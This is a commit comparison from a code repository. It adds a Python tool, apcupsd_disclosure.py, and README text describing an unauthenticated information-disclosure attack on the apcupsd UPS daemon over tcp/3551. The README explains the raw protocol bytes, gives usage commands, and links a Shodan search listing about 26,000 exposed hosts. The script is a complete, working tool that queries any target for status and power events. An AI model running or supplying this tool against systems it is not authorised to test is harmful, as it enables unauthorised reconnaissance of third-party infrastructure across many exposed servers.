Compare commits
10 Commits
2dc123c32c
...
0e95a5cf42
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0e95a5cf42 | ||
|
|
00d25aece0 | ||
|
|
12f9e261d2 | ||
|
|
63fa9f9376 | ||
|
|
ac946cacd5 | ||
|
|
1cffd165a1 | ||
|
|
eb1c206f36 | ||
|
|
eb5de9341a | ||
|
|
aa7fb279a6 | ||
|
|
1de5c41b27 |
29
README.md
29
README.md
@@ -20,6 +20,25 @@ servers surviving, as long as it has battery power left.
|
|||||||
|
|
||||||
and some more :)
|
and some more :)
|
||||||
|
|
||||||
|
### How does it work?
|
||||||
|
|
||||||
|
The daemon, listening per default at tcp/3551 is waiting for connections. The protocol itself is
|
||||||
|
build pretty simple. Lets look at the status request:
|
||||||
|
|
||||||
|
`\x00\x06\x73\x74\x61\x74\x75\x73`
|
||||||
|
|
||||||
|
As you can see, the first two bytes define the length of the request, in this particular case 6 bytes, after that the command is sent: status.
|
||||||
|
|
||||||
|
|
||||||
|
The same is happening for the events request:
|
||||||
|
|
||||||
|
`\x00\x06\x65\x76\x65\x6e\x74\x73`
|
||||||
|
|
||||||
|
Six bytes again and then the string "events".
|
||||||
|
The response is setup similar, first the bytelength, then the ASCII data, at the end a newline and null byte is sent. Finally, if all data has been transfered the daemon sends an additional nullbyte.
|
||||||
|
|
||||||
|
If you looking for more information simply trace wireshark output or look into the code ;)
|
||||||
|
|
||||||
### Usage
|
### Usage
|
||||||
|
|
||||||
There are two different supported modes in the daemon. Those are:
|
There are two different supported modes in the daemon. Those are:
|
||||||
@@ -28,11 +47,12 @@ There are two different supported modes in the daemon. Those are:
|
|||||||
|
|
||||||
While status have detailed information about the daemon and its configuration itself, events covers power failures and alike.
|
While status have detailed information about the daemon and its configuration itself, events covers power failures and alike.
|
||||||
|
|
||||||
|
```
|
||||||
./apcupsd_disclosure.py -h
|
./apcupsd_disclosure.py -h
|
||||||
usage: apcupsd_disclosure.py 0.1 dash@undisclose.de June 2019
|
usage: apcupsd_disclosure.py 0.1 dash@undisclose.de June 2019
|
||||||
[-h] [-m MODE] -t TARGET [-p PORT]
|
[-h] [-m MODE] -t TARGET [-p PORT]
|
||||||
|
|
||||||
Lil' tool for Information Disclosure of apcupsd
|
Lil' tool for Information Disclosure of apcupsd
|
||||||
|
|
||||||
optional arguments:
|
optional arguments:
|
||||||
-h, --help show this help message and exit
|
-h, --help show this help message and exit
|
||||||
@@ -41,17 +61,22 @@ optional arguments:
|
|||||||
-t TARGET, --target TARGET
|
-t TARGET, --target TARGET
|
||||||
define the target
|
define the target
|
||||||
-p PORT, --port PORT define the target port
|
-p PORT, --port PORT define the target port
|
||||||
|
```
|
||||||
|
|
||||||
Get the status information (you do not need the -m option as status is default):
|
Get the status information (you do not need the -m option as status is default):
|
||||||
|
```
|
||||||
./apcupsd_disclosure.py -t 127.0.0.1 -m status
|
./apcupsd_disclosure.py -t 127.0.0.1 -m status
|
||||||
|
```
|
||||||
|
|
||||||
Get the events:
|
Get the events:
|
||||||
|
```
|
||||||
./apcupsd_disclosure.py -t 127.0.0.1 -m events
|
./apcupsd_disclosure.py -t 127.0.0.1 -m events
|
||||||
|
```
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
Search: https://www.shodan.io/search?query=port%3A3551
|
Search: https://www.shodan.io/search?query=port%3A3551
|
||||||
Result: 26,000
|
Results: 26,000
|
||||||
|
|
||||||
## Disclaimer
|
## Disclaimer
|
||||||
|
|
||||||
|
|||||||
94
apcupsd_disclosure.py
Executable file
94
apcupsd_disclosure.py
Executable file
@@ -0,0 +1,94 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
#
|
||||||
|
# Unauthenticated Information Disclosure in apcupsd of APC UPS
|
||||||
|
# dash@undisclose.de
|
||||||
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import string
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
status = "\x00\x06\x73\x74\x61\x74\x75\x73".encode()
|
||||||
|
events = "\x00\x06\x65\x76\x65\x6e\x74\x73".encode()
|
||||||
|
protoend = "\x00\x00".encode()
|
||||||
|
|
||||||
|
def socket_go(target,port,mode):
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock.connect((target,port))
|
||||||
|
sock.send(mode)
|
||||||
|
except ConnectionRefusedError as e:
|
||||||
|
print ("[-] Target: %s:%d - %s " % (target,port,e))
|
||||||
|
sys.exit(1)
|
||||||
|
except TimeoutError as e:
|
||||||
|
print ("[-] Target: %s:%d - %s " % (target,port,e))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
out=""
|
||||||
|
while [ 1 ]:
|
||||||
|
data = sock.recv(4096)
|
||||||
|
out = out + data.decode()
|
||||||
|
if len(data) == 0:
|
||||||
|
break
|
||||||
|
elif data.find(protoend)>0:
|
||||||
|
break
|
||||||
|
return out
|
||||||
|
|
||||||
|
def parse_output(out):
|
||||||
|
''' basically remove non-printable protocol parts and interpret newlines ;)'''
|
||||||
|
output = ''.join([x for x in out if x in string.printable])
|
||||||
|
print(output)
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
|
||||||
|
target = args.target
|
||||||
|
port = args.port
|
||||||
|
mode = args.mode
|
||||||
|
|
||||||
|
if mode == "status":
|
||||||
|
out=socket_go(target,port,status)
|
||||||
|
elif mode == "events":
|
||||||
|
out=socket_go(target,port,events)
|
||||||
|
else:
|
||||||
|
print("Sorry, unknown mode %s" % mode)
|
||||||
|
print("Supported modes:\n* status\n* events\n")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
printme=parse_output(out)
|
||||||
|
|
||||||
|
print("Let's move on.")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
''' we got a main :)'''
|
||||||
|
|
||||||
|
__tool__ = 'apcupsd_disclosure.py'
|
||||||
|
__version__ = '0.1'
|
||||||
|
__author__ = 'dash@undisclose.de'
|
||||||
|
__date__ = 'June 2019'
|
||||||
|
|
||||||
|
parser_desc = 'Lil\' tool for Information Disclosure of apcupsd'
|
||||||
|
prog_desc = __tool__ + ' ' + __version__ + ' ' + __author__ + ' ' + __date__
|
||||||
|
parser = argparse.ArgumentParser(prog = prog_desc, description=parser_desc)
|
||||||
|
|
||||||
|
parser.add_argument('-m','--mode',action="store",dest='mode',required=False,help='define the mode, two modes exist: "status" and "events", default is "status"', default="status")
|
||||||
|
parser.add_argument('-t','--target',action="store",dest='target',required=True,help='define the target', default=False)
|
||||||
|
parser.add_argument('-p','--port',action="store",dest='port',required=False,help='define the target port', default=3551)
|
||||||
|
|
||||||
|
if(len(sys.argv)<2):
|
||||||
|
print("Sorry, to few arguments")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user